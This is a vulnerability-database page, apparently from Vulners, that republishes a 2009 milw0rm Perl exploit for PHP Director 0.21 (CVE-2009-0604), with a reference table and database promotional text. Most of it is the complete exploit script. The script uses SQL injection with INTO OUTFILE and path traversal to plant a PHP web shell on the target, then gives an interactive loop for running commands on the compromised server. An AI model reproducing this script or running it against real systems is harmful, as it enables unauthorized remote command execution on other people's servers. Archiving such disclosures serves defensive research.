PHP Director 0.21 - Remote Command Execution
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
| CVE-2009-0604 | 9 Feb 200900:00 | – | circl | |
| CVE-2009-0604 | 16 Feb 200920:00 | – | cve | |
| CVE-2009-0604 | 16 Feb 200920:00 | – | cvelist | |
| EUVD-2009-0607 | 7 Oct 202500:30 | – | euvd | |
| CVE-2009-0604 | 16 Feb 200920:30 | – | nvd | |
| Sql injection | 16 Feb 200920:30 | – | prion |
--+++===================================================================+++--
--+++====== PHP Director <= 0.21 Remote Command Execution Exploit ======+++--
--+++===================================================================+++--
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
sub clear
{
my $out = $_ [0];
$out =~ s/.+?xx//;
$out =~ s/xx.+//;
return $out;
}
sub usage
{
print "\nPHP Director <= 0.21 Remote Command Execution Exploit".
"\n[+] Author: darkjoker".
"\n[+] Site : http://darkjoker.net23.net".
"\n[+] Download: http://downloads.sourceforge.net/phpdirector/PHPDirector-Install-0.21-.zip?modtime=1181090906&big_mirror=0".
"\n[+] Usage : perl ${0} <hostname> <cms path> <shell destination>".
"\n[+] Ex. : perl ${0} localhost /PHPDirector /opt/lampp/htdocs/PHPDirector".
"\n[+] Notes : <shell destination> must be the same directory where CMS is hosted".
"\n\n";
exit ();
}
sub send_shell
{
my ($host, $path, $disc_path) = @_;
my $sock = new IO::Socket::INET (
PeerHost => $host,
PeerPort => 80,
Proto => "tcp",
) or die "[-] Exploit failed.\n";
my $sql_code = "searching=x' UNION SELECT 1,'xx<? system (\$_GET [cmd]); ".
"?>xx', 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 INTO ".
"OUTFILE '${disc_path}/shell.php' FROM pp_files#";
my $post = "POST ${path}/index.php HTTP/1.1\r\n".
"Host: ${host}\r\n".
"Connection: Close\r\n".
"Content-Length: ". length ($sql_code) . "\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n\r\n".
$sql_code;
print $sock $post;
close ($sock);
}
my ($host, $path, $disc_path) = @ARGV;
usage unless ($disc_path);
$disc_path = "../"x10 . $disc_path;
send_shell ($host, $path, $disc_path);
print "Delete this shell after use.\n'quit' command to exit\n\n";
my $cmd;
while (1)
{
print "backdoor\@${host}: \$ ";
$cmd = <STDIN>;
chomp $cmd;
$cmd =~ s/ /%20/g;
exit if ($cmd =~ /quit/);
my $sock = new IO::Socket::INET (
PeerHost => $host,
PeerPort => 80,
Proto => "tcp",
);
my $get = "GET ${path}/shell.php?cmd=${cmd}\r\n\r\n";
print $sock $get;
my $x;
$x .= $_ while (<$sock>);
$x = clear ($x);
print $x;
close ($sock);
}
# milw0rm.com [2009-02-09]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 Feb 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01126